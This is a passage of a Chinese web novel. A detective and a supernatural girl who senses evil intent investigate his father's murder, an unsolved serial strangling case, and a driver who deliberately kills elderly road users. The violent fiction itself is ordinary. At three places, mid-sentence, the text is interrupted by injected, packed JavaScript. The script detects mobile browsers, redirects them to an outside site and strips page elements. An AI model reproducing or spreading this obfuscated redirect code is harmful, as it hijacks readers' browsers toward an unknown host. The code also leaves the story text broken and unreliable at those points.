除了最顶端的相框外,书架上的其他空间都被书籍和文件塞得满满当当。 薛宓随手翻了几页,上面密密麻麻的文字对她犹如天书,她几乎一个都不认识。 而这个空间里没有方才她遇到的那些中年男性身上常见的汗味或烟味,深灰色的床单平整得没有一丝褶皱,书桌上的文件也整齐地堆放着,就像贺黎筠本人一样一丝不苟。 薛宓好奇地戳了戳床头柜上的台灯开关,又凑近闻了闻窗边的绿植。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472513|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p>随后,才软绵绵地躺倒在了床上。 蓬松的新被褥散发着阳光晒过的温暖气息,与医院消毒水的刺鼻味道截然不同。她像只猫儿般在被窝里拱了拱,整个人满足地陷了进去。 这个千年后的世界,处处都令薛宓感到新奇。 好在她适应能力极强,再加上今天虽然吞噬了不少恶念,却也消耗了许多能量,所以整个人陷在柔软的床铺里,很快便沉沉睡去。 卧室的门紧闭着,而躺在沙发上的贺黎筠却辗转难眠。 他从未想过有朝一日,鬼魂、怨念、契约,这些超自然的存在会这般蛮横地闯入他的认知。 她能操控亡魂推人下楼,能让怨灵显形与生者对话,甚至能制造幻象逼疯罪犯…… 更令他在意的是她说过的话:“是你解开了我的封印。” 被封印的存在,通常都不会是什么良善之辈。 如果契约解除,她恢复了足够强大的力量…… 贺黎筠的喉结微微滚动,指节不自觉地攥紧。 一个能操纵亡魂、洞悉恶念的存在,若失去束缚,这世间还有什么能制衡她? 理智在警告他危险,可另一个声音却在低语: ——你需要她。 需要她的能力,需要她的帮助,需要她揭开父亲死亡的真相。 哪怕明知是与恶魔同行,他也无法拒绝这样的合作…… 清晨的阳光透过纱帘洒进客厅,几乎失眠了一晚的贺黎筠被一阵钥匙转动声惊醒。他撑着沙发坐起身,就见门外自己的母亲崔芳华熟门熟路地拎着保温饭盒走了进来。 “小筠你怎么睡在……” 像是意识到了什么,崔芳华再度转向门口,只见玄关处赫然摆着一双精致的女式小皮鞋,她的视线顿时在儿子凌乱的衬衫和沙发上的被子间来回扫视,最终定格在了紧闭的卧室门上,眼睛渐渐睁大。 “我走啦,你们年轻人多睡会儿……”她放下保温饭盒,手忙脚乱地后退,嘴角却是掩饰不住激动地弯起。 贺黎筠顿时清醒:“妈,不是你想的那样……” 崔芳华离开的步伐一顿,压低声音问:“只是同事?” 自从十五年前父亲遇害,十四岁的贺黎筠就和母亲相依为命。现在,他虽在刑警支队大楼附近租了公寓,但每逢周末都会回郊区的老宅陪母亲和外公外婆住两天。 这次连续加班半个月没回家,昨日说好要回却又临时有事没能回来,崔芳华才特意带着拿手菜来探望。 哪想到,从来只和男同事有来往的儿子,竟也带女同事回家过夜了! 崔芳华心里翻江倒海地想,这绝对是关系不一般的征兆,就算现在是同事,未来也有可能是交往的对象! “不是同事,是……” 贺黎筠揉着太阳穴正要解释,卧室门突然“咔哒”一声打开了。 薛宓揉着眼睛晃晃悠悠地走出来,睡裙皱巴巴的:“早饭准备好了吗?我饿了……” 她话说到一半突然顿住,黑溜溜的眼珠盯着客厅里多出来的中年女性——那张和相框里一模一样的脸。 原本睡眼惺忪的小脸,瞬间绽放出甜甜的笑容:“阿姨好~我是被叔叔救回来的,暂时住在这里。” 说着还规规矩矩行了个九十度鞠躬礼,乖巧懂事得看得崔芳华的心都化了。 她立刻上前握住她的小手道:“我这年纪都能当你奶奶了。哎……你这孩子怎么这么瘦啊,来,奶奶这里有好吃的。” 说着,拉着孩子坐到桌边,从保温袋里掏出还冒着热气的八宝粥和糯米鸡。 “还想吃什么,告诉奶奶,奶奶下次给你带。” 故意挥了挥绑着绷带的左手,却被完全无视的贺黎筠:“……” 8. 同居 崔芳华本身就喜欢孩子。 她虽是农村出身,却比同龄人晚婚,二十六岁才生下贺黎筠,如今也不过五十四岁。 老家那些姐妹,这个年纪早就当上了奶奶,孙子孙女都能打酱油了。起初她也不急,觉得城里人都晚婚晚育,孩子该有自己的发展。 可一转眼,儿子都二十九了! 整天就知道查案查案,好不容易局里领导介绍了一个相亲对象,结果就为了蹲个嫌疑人,把人家小姑娘晾在咖啡厅两小时,气得小姑娘直接拉黑了他。 以至于现在,连个女朋友都没有,可把她愁坏了! 虽说现在才二十九,可虚岁已经三十了!都是个奔四的人了! 放到相亲市场,都不会有人相信,这个年纪的男人还是个连女孩子的手都没牵过的处!指不定觉得她儿子是不是某方面有问题才这么大年纪还是个母胎单身…… 崔芳华那个愁呀……所以刚刚看到玄关处那双女鞋时,她满脑子都是“二子终于开窍了”的狂喜,以至于完全没仔细看,这小皮鞋的尺寸,一看就是双童鞋。 而听完小姑娘的遭遇后,崔芳华心头一酸,心疼瞬间漫过了失望。 被杀人犯逃亡中绑架,受惊吓失去记忆,这个遭了大罪的苦命娃,竟至今都没有父母来寻她,不是被拐卖的留守儿童,就是父母双亡的孤儿…… 种种猜测在心头翻涌,最终化作喉间一声叹息。 崔芳华不禁伸手,轻轻抚上了小姑娘的发顶。 小姑娘非但没有躲闪,反而像只亲人的小猫般,主动将脑袋往她掌心蹭了蹭。细软的发丝滑过指缝,带着孩童特有的温暖触感。 这下意识的亲昵动作,让崔芳华再度鼻尖发酸。 她忍不住又摸了摸她的小脸,捏了捏她的小手。 这孩子长得跟童模似的漂亮,就是太瘦了,小脸还没她巴掌大,脸色也过于苍白了,一看就是营养不良的样子。 而她太乖了,失忆的情况竟还不哭不闹,懂事得让人心头发紧。不过现在既然暂住在她儿子家,可得要好好养养了。 温热粗糙的触感让薛宓睫毛轻颤。 她本是认出她是贺黎筠的母亲,为了避免不必要的麻烦才刻意讨好的,可对方眼中流淌的怜爱却烫得她心口发胀。 自有意识以来,从没有人用这种眼神看过她。 她低头望向推到她面前的一碗粥。 住院那七天,每天早晨都是一碗寡淡的白粥,稀得能照见人影,喝得薛宓都对粥抗拒了…… 可眼前这碗八宝粥,藕色的粥汤浓稠莹润,缀着赤豆、蜜枣、莲子、花生、桂圆肉等,五彩缤纷地沉浮其间,蒸腾着甜暖的热气。 薛宓小心地舀了一勺。 桂花蜜的甜香在舌尖炸开,晶莹的藕粉裹着熬得绵密的赤豆,红枣的蜜甜间偶尔咬到脆生生的莲子芯。 暖和的粥汤顺滑进胃里,薛宓第一次吃到这么好吃的东西。 还有那裹在荷叶里的糯米鸡。 糯米蒸得晶莹剔透,一口咬下立刻爆出鲜美的肉汁和流油的咸蛋黄…… 薛宓正默默埋头苦吃时,洗漱完的贺黎筠走了过来,崔芳华连忙盛了碗热粥递过去,直到递碗的时候才猛地僵住。 “你这手……”她反应过来,着急地问,“是救这孩子伤的吗?医生怎么说,严重吗?” “小伤。”贺黎筠含糊地应着,但在崔芳华瞬间红了的目光下,还是低头老老实实地交代了自己住院七天的事情。 果然就听到妈妈声音发颤道:“住院七天都不告诉妈?要不是我今天过来,是不是打算瞒我一辈子了?” “没有,妈。”贺黎筠下意识将受伤的手往身后藏了藏,“就是怕你担心才没说。本来打算昨天回家的……” 他舀了一勺粥,热气氤氲中继续道:“但坐公交时,发现有人携带汽油上车,幸好及时拦截。后来押送回局里做笔录,折腾到半夜就没回去了。” 崔芳华倒抽一口冷气:“这人疯了吧!他是想拉着全车人陪葬吗?” “嗯。”贺黎筠眼神微冷,“被抓后还谎称有精神病。” “幸亏你没事……”崔芳华后怕地拍了拍胸口,声音有些发颤。 “嗯,我没事,妈。”贺黎筠轻轻道。 薛宓偷听着两人的对话。 蒸腾的热气模糊了视线,混着浓郁的香,令她的心口奇怪泛起了一丝陌生的感觉。 崔芳华离开后,贺黎筠将一沓泛黄的档案推到薛宓面前。 盯着密密麻麻的笔录和现场照片,薛宓眉头越皱越紧。半晌,她抬起头,理直气壮道:“看不懂,你总结下。” 她说着,盘腿坐上了沙发,还顺手捞过茶几上的糯米糕咬了一口,活像个等着听故事的小祖宗。 贺黎筠:“……” “我爸贺临川,十五年前是青江市公安局刑侦支队副支队长兼重案队队长,也是连环杀人案专案组组长。”贺黎筠翻开档案,指腹在一张陈旧的照片上停顿,“2005年,他被发现死在废弃工厂,一枪毙命。这是当时的现场图。” 薛宓凑近看那张泛黄的照片,斑驳的水泥地上,身穿藏蓝警服的男人仰面躺着,暗红色的血迹自胸口晕染而开,照片边缘还拍到半截粉笔轮廓线,是标记弹壳位置用的。 “官方结论是□□仇杀,一个月便抓到了凶手。但那个凶手在认罪时连开枪方向和距离都说不清,不到三日就在看守所自杀了。” 薛宓挑眉:“你认为这个人是替罪羊,想要找到这个□□的幕后真凶?” 贺黎筠摇了摇头:“我以前也是这么认为的。那个凶手认罪时,并没有说自己是哪个□□的人。根据调查,我查出他原本隶属于黑虎帮,便顺着线索追了黑虎帮五年,直到去年亲手逮住他们老大。他却在审讯室里赌咒发誓,说他们确实计划过暗杀我爸,但还没来得及动手,我爸就被人抢先一步杀了。” 他眼神一沉:“那个认罪的替死鬼,曾经的确是他们的人,但只是个底层的小马仔。后来犯了事,就被赶出了黑虎帮。□□上,能干掉公安机关正科级领导是光荣事迹。所以得知被赶出去的马仔竟在不久后杀了刑警被捕,而道上都说是他们黑虎帮干的时,他们也就默认了,还因此壮大了势力。” 虽然贺黎筠详细地解释了每一个她听不懂的词汇,可听完整个案件,薛宓仍觉得有些匪夷所思。 她奇怪地问道:“副支队长被□□所杀,应该是深仇大恨吧?为什么他同事和下属没有继续调查凶手所属的□□,还要等到你才查出他原本隶属于黑虎帮,却还是个错误的信息。” “当年枪击案发生后,局里火速成立了专案组,全城搜捕凶手,甚至还开展了一场为期一个月的扫黑专项行动。阵势很大,动静也不小……可最后,却只抓到一个所谓的凶手,案件就匆匆结了案。” 他声音低沉,带着一丝不易察觉的涩意。 “所以,我不是没有怀疑过……局里内部,是不是早就被人渗透了,有了他们的保护伞,才会这么急着盖棺定论,把真相捂死在里面。” “可我爸当刑警队长那些年,秉公执法,得罪的人太多了。□□白道,想让他消失的人,两只手都数不过来。我花了整整五年,像疯了一样死磕黑虎帮,几乎把他们的底裤都翻出来了……可线索,到头来还是断了。” 空气凝滞了片刻,窗外的夜色仿佛也沉了几分。贺黎筠忽然抬起眼凝望着薛宓,声音里压着冰凉的急切:“你能看见人身上的恶念,或许能帮我揪出局里的内鬼。昨天在局里,你有没有注意到谁身上有不寻常的黑雾?” “黑色的恶念要真正动了杀心才会具现化,你那几个年轻同事倒是挺干净,其他人还得再观察观察。” 薛宓歪着头想了想:“比如,昨天那个纵火犯被抓时,周围人散发的就是棕色的气息,这种是讨厌憎恶的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472514|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 气息,还包含着希望这种伪装精神病的杀人犯直接去死的真心。所以我想,你们警察抓人时也会产生类似的波动,不能单单地看颜色来分辨。” “那我身上呢……”贺黎筠突然轻声问道,“有吗?是……什么颜色……” “有,就在刚刚,溢出来了一点点。有灰黑色,也有棕色……你想亲手杀了那个凶手报仇,对吧?但是,你的职业不允许你手刃仇人,所以你的理智把它压下去了,那些颜色刚一冒头就散了。” 贺黎筠抿了抿干涩的唇:“看来在你面前,谁都藏不住邪念。” “也不尽然。”薛宓晃了晃悬空的小腿,“真正可怕的,是那些连自己都骗过了的恶念。为了净化世界而杀人的审判者,打着‘为民除害''旗号动用私刑的执法者。这些恶念会伪装成正义,扎根在心底最深处……哪怕手上沾满鲜血,他们身上也不会浮现半点黑雾。” 贺黎筠却觉得,以前没有监控、没有指纹、没有DNA鉴定,才导致犯罪很难被发现,甚至经常出现冤假错案,但现在法治社会,天网恢恢,他就不信真的有这种完全不被发现、还被包装成正义的完美犯罪。 沉默片刻后,贺黎筠又从书架上拿出了另一本档案。档案的封面已经泛黄,右上角的“青江市连环杀人案”几个打印的黑色字迹也已褪成了淡灰色,边角处满是翻阅留下的皱痕, “这是我父亲生前调查的最后一个案子。官方记录,凶手的作案时间是从2005年7月到2005年12月,短短五个月。” 薛宓凑近了些,随着档案的翻开,映入眼帘的是里面整齐粘贴的现场照片。 八名年轻女性,年龄在十八到三十五岁之间,多为从事灰色职业的女性。她们被抛弃在城市的各个偏僻角落,脖颈上都缠绕着相似的勒痕,双手被红绳捆绑在身前,摆成虔诚的祈祷姿势。 整齐得令人毛骨悚然。 除此之外,还混入了一名男性流浪汉。 那是一张拍摄于积雪桥洞下的照片。花白胡子的流浪老人蜷缩在角落里,胡须上结着冰碴,脖颈处深紫色的勒痕在苍老的皮肤上显得格外刺眼。 但,与其他受害者不同的是,他的双手并非用红绳捆绑,而是普通的麻绳。而且时间上比第一名女性提早了半年,是2004年12月发生的。 “但在我父亲留下的笔记里,他坚信这个系列案件的真实跨度远不止于此。他认为,这位流浪汉才是整个系列案件中的第一个受害者。但由于性别、作案时间和作案手法的细微差异,当年专案组并没有将他列入连环杀人案的受害者名单。 “是因为绳子不是红色的?” “嗯。但绳结的打法一模一样。是渔夫结,收尾处会多绕两圈。” 他说着,手指移向一张流浪汉的尸检照片。照片里,老人粗糙的手指布满冻疮和裂口,而右手小指处赫然呈现一个整齐的断口,像是被什么利器干脆利落地切断。 “他死后,凶手特意取走了他的一节手指。” 他翻过几页,指向那些女性受害者的照片:“而之后的每个女性受害者,都少了一件贴身物品——耳环、发卡,或是戒指。这说明凶手有强烈的收集癖,而初次作案对他来说意义特殊。” “所以我爸认为,凶手在初次作案时,取走的不是物品,而是死者身体的一部分。正因为是临时起意的冲动杀人,凶手就地取材,用流浪汉自己捆铺盖的麻绳下了手。” “在这次冲动作案后,凶手尝到了杀人的快感,之后就开始有预谋地作案,并特意准备了红绳。至于红绳的特殊意义……可能是某种仪式感,也可能是凶手个人的执念——比如象征束缚、献祭,或者单纯只是他随手选中的标志性手法。” 他顿了顿,轻轻地补充:“这个案子至今未破。所以我也曾想过,会不会是这个连环杀人魔,杀了我爸……但作案手法不同,我爸是被枪杀的,干脆利落,没有那些仪式感的布置。 9. 调查 下午,贺黎筠带着薛宓来到了贺临川遇害的那个废弃工厂。 生锈的铁门半敞着,风呼呼吹过空荡荡的厂房,发出像人呜呜哭一样的回响,只见当年贺临川倒下的位置,只剩下了几块可疑的暗褐色污渍。 站在积满灰尘的水泥地上,薛宓闭上眼睛感受。 没有那种怨恨的气,也没有死人留下的念头,连一点点血的味道都被时间给冲没了。 “太久了。”她睁开眼,脑袋摇了摇,“什么都感觉不出来。” 贺黎筠失望地垂下眸,攥紧了手中的档案袋。 接下来的一周,他们把七名女性被害的地方都跑遍了。 深夜无人的地下通道、郊外荒废的公交站台、老城区昏暗的后巷…… 但始终,什么都没有。 十五年的时光足以消磨太多东西。那些枉死的魂魄早已消散,连最最微弱的那种不甘心的想法都没留下来。 “还剩下最后一个,青江大桥下的涵洞。” 烈日当空,蝉鸣声嘶力竭地撕扯着闷热的空气,揭示着夏日的到来。 汗珠争先恐后地顺着贺黎筠的下颌线滚落,连续数小时的奔波调查让他的白衬衫彻底被汗水浸透,布料紧贴在绷紧的背肌上,勾勒出清晰的肌肉线条,惹得四周路人频频侧目。 明明昨天才二十八度,今天竟直逼三十五度高温…… 贺黎筠抬手抹了把额头的汗水,转头就见薛宓蔫巴巴地蹲在树荫下,像只被晒化的小猫。他微微一愣,转而走向便利店冰柜前,挑了支双色甜筒。 “给。” 薛宓狐疑地接过,小心翼翼地舔了一口。下一秒,她瞳孔骤缩,整个人僵在原地。 香草的柔滑与巧克力的醇厚在口腔交织,冰凉的甜味顺着喉管滑下,让薛宓精神一振。 “这是什么?” 贺黎筠看着小姑娘瞳孔地震的模样,难得笑出声:“五块钱的冰激凌而已。你喜欢吃的话,就再买几个,还有不同口味的。” 话音未落,薛宓已经闪现到冰柜前,整张脸贴在冰凉的玻璃上,眼睛闪闪发亮着。 前往青江大桥的路上,见薛宓撕开第五支冰激凌的包装纸,正等着红灯的贺黎筠连忙伸手阻止:“会拉肚子。” 说着,顺手把她怀里抱着的一大袋子冰激凌都没收进了他的座位底下。 昨日刚拆了绷带的左手搭在方向盘上,骨节分明的手指轻敲着,动作利落如常,看不出半点受伤的痕迹。 “哼,小气鬼。” 薛宓撇撇嘴,转头将脸对准空调的出风口。凉风呼呼地吹起她的刘海,露出光洁的额头。她舒服地眯起眼,像只餍足的猫儿,蜷在副驾驶上昏昏欲睡。 ——他若真小气,也不会特意买保温袋和冰袋给她装冰激凌了。 余光瞥见小姑娘被吹得乱飞的发丝,贺黎筠不动声色地调小了风速。 正午的烈日把车厢烤得发烫,他方才开了最大档冷气。这么对着脸直吹,会感冒的…… 他动作猛地一顿。 突然,后知后觉地反应过来——这个未知生物,会感冒吗? 一个小时后,两人到达了青江大桥的涵洞。 十五年前这里是个阴暗潮湿的废弃桥洞,曾是流浪汉的聚集地。而事发那晚正值暴雪,厚厚的积雪迫使大多数流浪汉另寻住处,直到次日雪停后,才发现了那具冻僵的尸体。 如今经过市政改造重启,青江大桥焕然一新,也经过一系列整治,不再允许流浪汉再次露宿。 这些案发地点,贺黎筠早已倒背如流。 他轻车熟路地带着薛宓走到当年发现尸体的位置。 “就是这里。”他低声道。 薛宓蹲下身,手掌平贴在地面上。冰凉的水泥地透着午后的余温,早已寻不到当年的任何痕迹。 “这里的气息太杂了……”半晌,她像只嗅到异样的猫儿,嫌弃地蹙起鼻尖,“每个在这里露宿过的人,都留下过怨气。他们生活不如意,自然满腹怨气。” 她漫不经心地踢开脚边的小石子。石子骨碌碌地滚进涵洞深处,在粉刷干净的墙面上撞出几声空洞的回响。 贺黎筠顺势打开手机照明灯。 光束刺破涵洞深处的黑暗,飞舞的尘埃在光柱中清晰可见,像无数细小的怨灵在游荡。 “能分辨出十五年前的吗?” “怎么可能……像混在暴雨里的水滴,早就分不清了。” 明明早知道会是这个结果,可熟悉的失望感还是从胃里泛了上来,像是被灌了一口混着冰屑的淤泥,既沉得让人下坠,又粘得喘不过气。 贺黎筠把照片塞回口袋,声音低低的:“走吧。” 回家路上,夕阳西沉,漂亮的暮色将车窗染成了橘红。 只见车窗外,放学的学生们三五成群,嬉笑着走过斑马线。便利店门口,一个小姑娘正拿着刚买的火腿肠,小心地喂着一只怀孕的三花猫。而隔壁奶茶店旁,一个外卖小哥正偷闲地蹲在台阶上,低头刷着手机。 仿佛一切都温馨而美好。 薛宓懒洋洋地靠在窗边,指尖有一下没一下地轻叩着玻璃。晚霞的余晖掠过她纤长的睫毛,在脸颊投下细碎的光斑。 忽的,她叩击的指尖一顿。 只见隔壁车道上,一辆银色面包车的驾驶座里,一个中年男人身上正飘散出浓稠如墨的黑雾。 “贺黎筠!”她迅速指向右侧,声音骤然冷了下来,“那辆银色面包车,司机有问题。” 几乎就在她话音落下的同时,一位老人骑着助动车试图抢黄灯冲过路口。而那辆银色面包车就像完全没看见似的,毫无减速地左转—— “嘀——!!” 刺耳的喇叭声划破空气。贺黎筠一手猛按喇叭,一手急打方向盘。 轮胎与地面摩擦发出刺耳的尖啸,车身一个急转,最终横挡在了那辆摇摇晃晃的助动车前。 “吱——” 银色面包车急刹停下。刺耳的刹车声中,车头因惯性又向前蹿了半米,带起了一股浑浊的气流。 突发的变故吓得老人捏紧刹车。 助动车后轮打滑,车身剧烈摇晃,他面色煞白,单脚撑地,另一条腿还挂在车上,整个人以极其危险的姿势斜倾着,差点连人带车地翻倒在地。 贺黎筠亮出刑警证,冷着脸将两人带到了路旁的树荫下。 “警察同志,我真的没看见!”银色面包车司机周明德,慌忙拿出自己的驾驶证,满脸诚恳地解释,“A柱正好挡住视线,我不知道旁边有人……” 闯黄灯的老人则自知理亏,不停心虚地道歉:“警察同志,我、我晓得错了……”他声音越来越小,“老伴住院等着送饭,我一着急就……下次绝对不敢了,您就当没看见这回事儿……可不可以不要罚钱……” 贺黎筠检查完两人的证件,证件齐全并不是什么逃犯。 而且没有人员伤亡,哪怕交警在场,这场事故最终也只能口头警告。 但贺黎筠相信薛宓的判断——这个叫“周明德”的司机身上翻涌的黑雾绝非偶然。所以第一时间背下了周明德的身份证号和驾驶证号。 眼下,望着他驾车驶离,贺黎筠方向盘一打, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16472515|185545||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 利落地调头驶向刑警支队。 半小时后,望着贺黎筠带着薛宓匆匆而来,值班的楚子琦震惊道:“贺哥?你不是在休假吗?” 整个刑警大队谁不知道,贺黎筠去年肋骨骨折才请了三日的病假,这次破天荒休了两周病假,大家都以为他终于想开了要好好休息。 结果这铁人才过了一周就又来上班了?怎么还拎着个小姑娘来加班啊? 楚子琦的目光在两人之间来回扫视,终于没忍住,将贺黎筠拽到一旁问:“这孩子……还没安置好吗?还是她父母有什么线索了?” “送去福利院后一直哭闹,医生建议我先照顾一段时间。”贺黎筠睁眼说瞎话着。 “那你一个人照顾方便吗?”楚子琦担心地问,“毕竟是八岁的小女孩。” “我妈帮我一同照顾着。” “哦哦。”楚子琦不疑有他,毕竟他怎么都不会想到,向来严谨的贺哥会在这种小事上撒谎。 然后,他就见一向不苟言笑的贺哥,竟从钱包里抽出一张毛爷爷,眼也不眨地就递给了才八岁的小姑娘:“附近有很多店,你想吃什么就去吃吧,随便给我带一份就行。” 楚子琦:……这还是请客都扣扣索索的贺哥吗?八岁小孩吃个饭花一百块是不是有点太奢侈了啊!他晚饭只吃了八块钱买的三明治!!! 望着小姑娘攥着钞票欢快跑远的背影,贺黎筠转身回到了工位。 电脑屏幕的冷光映在他逐渐冷峻的脸上,他修长的手指在键盘上快速敲击,利用警局系统调出了周明德的完整档案。 周明德,42岁,驾驶记录显示: 2015年雨夜,城东路口,撞死一名闯红灯的75岁老人。事故认定:老人全责。 法律从不是谁弱谁有理,而是谁违法谁担责。若驾驶人无过失且事故是由不可抗力、他人过错或意外事件导致,则无需承担刑事责任。 最终周明德以人道主义赔偿30万与其儿子达成了和解。 2017年雨日,高速匝道,与违规变道的轿车相撞,导致轿车当场起火,车内一对老夫妇身亡。责任认定:同等责任。赔偿200万后与其子女和解。 从法律文书和事故认定来看,哪怕死了三个人,事故原因都不是周明德引起的。他就像是无妄之灾,倒霉地卷入了这两起事故里。 而事故后,他没有逃逸,反而第一时间积极地赔偿家属,态度诚恳,所以没有刑事责任,也没有吊销执照。从表面上看,法律简直给了他最公正的裁决。 但,一次是意外,两次是巧合,那第三次呢? 连续两次被撞的都是老人,这次差点被撞的也是老人…… 贺黎筠很难不恶意地揣测……这个人,是不是在看见老人主观犯错后故意去撞? 老人反应慢,容易“被全责”,而老人的子女多会选择拿赔偿和解,甚至有些不孝子女会觉得老人被撞死,自己反而更解脱,根本不会细追肇事者的责任。 若真有反社会人格利用车辆故意杀人,那岂不是钻了法律法规的漏洞? 这样想着,一阵浓郁的油炸香味突然飘来。贺黎筠皱眉望去,就见薛宓抱着一大袋比她脑袋还大的麦当劳纸袋蹦蹦跳跳地进了门。 “这个超好吃!就是钱不够啦,只给你买了儿童套餐,但送了一个小玩具!给你。” 望着纸袋里的迷你汉堡、迷你薯条,迷你玉米杯,以及儿童喝的牛奶盒,而对方将一个碰碰车小玩具放到他面前后,转手就掏出一个比她脸还要大的三层汉堡,美滋滋地坐在他旁边啃了起来…… 贺黎筠:“……” 10. 狩猎 “你的推测没错。”薛宓捏着根薯条,在番茄酱里慢悠悠划了个叉,“恶念早已在周明德心里扎根。寻常人作案失败后会心虚恐惧,就像李武总,黑雾会因恐惧慢慢消散。但周明德不一样。他享受这种刺激,失败反而让他更兴奋了。最迟三天,他一定会再动手。” “需要我帮忙吗?”她笑着歪了歪头。 薛宓能洞见人心的恶念,能通过黑雾浓度的变化预判犯罪,这无疑是天降的外挂。 但贺黎筠却摇了摇头:“警察没你想的那么没用。”他声音虽轻,却字字清晰,“我们会靠自己抓住他。” 他需要薛宓的能力,但不能依赖。 正如办案必须构建完整的证据链,追凶终究要靠现场痕迹和侦查逻辑。那些黑雾浓度、怨气变化,在法庭上连参考价值都没有。 实实在在的证据,才是将罪犯绳之以法的唯一途径。 更何况—— 贺黎筠不动声色地看了眼正叼着薯条的薛宓。 这个来历不明的生物,谁知道她还藏着什么底牌?现在的他,怎么可能就这样轻易交付出信任。 翌日晨会,贺黎筠将自己的分析与推测汇报给了队长邱东奇。 没有物证,没有目击者,只有两起险些酿成事故的行车记录,以及基于行为模式的心理推导。但队里没人敢轻视贺黎筠的直觉。 前年那桩轰动一时的毒驾案,正是贺黎筠凭借OBD数据锁定了嫌疑人吸毒后的行车模式,最终在对方冲向人群前将其截停。 全程录像成为铁证,也让贺黎筠年纪轻轻就成了队里的王牌。 所以仔细看完报告,邱东奇二话没说就签了审批。 于是当天,贺黎筠亲自带队,指挥中心实时定位目标车辆,楚子琦等三名刑警在外围策应,伪装成网约车司机、外卖员等角色,重点记录目标所有异常驾驶行为,包括但不限于刻意贴近老年人、无故急刹、反复探头张望等可疑动作。 技术队则提供后台支持,着手构建周明德的行为模型,分析其活动规律与潜在作案区域。 就这样,贺黎筠带着小队在暗处监视了周明德一周。直到第九天的傍晚,天色骤然阴沉,符合周明德作案的雨夜来临了。 密集的雨点噼里啪啦地砸落下来,很快连成一片滂沱的雨幕。 手指无意识地敲击着方向盘,周明德望着前方模糊的路灯。车窗上的雨滴扭曲了视线,像一层流动的玻璃,将世界切割成碎片。 就像那天——2015年6月17日,也是这样的雨天。 那个老人是从右侧盲区突然出现的,像一只不知死活的飞蛾扑向火焰。周明德甚至没来得及踩刹车,只听见“砰”的一声闷响,接着是玻璃碎裂的清脆声响,老人的身体就如同一滩烂泥砸在了挡风玻璃上。 布满皱纹的脸紧贴在碎裂的玻璃上,浑浊的眼睛因恐惧而瞪大,瞳孔却因绝望无限地缩小。鲜血从老人开裂的眼角渗出,混着雨水在玻璃上蜿蜒。 “救……救……”老人破碎的声音透过玻璃传来,手指无力地在玻璃上抓挠,留下几道挣扎的血痕。 周明德当时整个人僵在座位上,看着生命从那双眼睛里一点点流逝,身体渐渐在挣扎中静止,只剩下雨水冲刷着那张定格在惊恐中的脸。 “滴——”后方车辆的喇叭声将他拉回现实。绿灯亮起,他机械地松开刹车,面包车缓缓前行。 最初几个月,这个画面每晚都会闯入他的梦境。他会大汗淋漓地醒来,心脏狂跳不止,仿佛又回到了那个雨天。但奇怪的是,随着时间推移,噩梦逐渐变成了某种……期待? 周明德舔了舔突然发干的嘴唇。 他发现自己开始主动回忆那个瞬间,不是为了忏悔,而是为了重温那种奇特的快感——看着一个生命在自己面前消逝,那种掌控生死的感觉。 ——他们该死。 这个念头第一次浮现时,他自己都吓了一跳。但很快,这个想法就像癌细胞一样在他脑中扩散。那个老人闯红灯,不守交通规则,难道不该为自己的愚蠢付出代价吗? 2017年3月的一个清晨,同样是一个雨日,周明德在高速匝道口看到了那辆黑色轿车。车内坐着一对白发苍苍的夫妇,老太太正在对老头说着什么,两人脸上带着退休老人特有的那种无忧无虑的笑容。 周明德的眼睛眯了起来。他认识这种笑容。他的父母也是这样的表情,每个月准时出现在他的办公室,伸手要钱。 “你生意做得这么好,给我们点零花钱怎么了?”他们总是这么说,仿佛他生来就是他们的提款机。 黑色轿车突然变道,没有打转向灯,直接插到了他面包车前面。 周明德感到一股热流从脊椎窜上后脑。他的脚从刹车上移开,手指紧紧握住方向盘。这不是意外,这是一次测试,一次机会。 “违反交通规则……”他低声说,声音因兴奋而颤抖,“不守规矩的人……” 撞击的力道让他的身体猛地前倾,安全带勒进肩膀的疼痛却让他满足地发出了一声叹息。 黑色轿车旋转着撞向护栏,油箱破裂,火花四溅。 周明德停下车,冷静地拨打了报警电话,然后坐在驾驶室里,看着火焰吞噬了整个车厢。老夫妇的尖叫声只持续了几秒钟,就被爆裂声淹没了。 交警判定是同等责任,而那次成功后,周明德再也没做过那个噩梦。 相反,他会躺在床上,闭上眼睛,任由记忆中的画面在脑海中重播——老人贴在玻璃上的脸,老夫妇在火焰中挣扎的身影…… 这些画面让他心跳加速,血液沸腾,全身因兴奋而微微发麻。 多么美妙的感觉。 这个世界老龄化越来越严重,像这种倚老卖老、不守规矩的废物,活着也不过是社会的蛀虫。 他只是在替天行道罢了。 清除垃圾。 净化世界。 他几乎要笑出声——为什么自己没能早点发现这样的乐趣? 但前几天,他却失手了…… 思来想去,还是得选雨天。 他喜欢这样的夜晚。 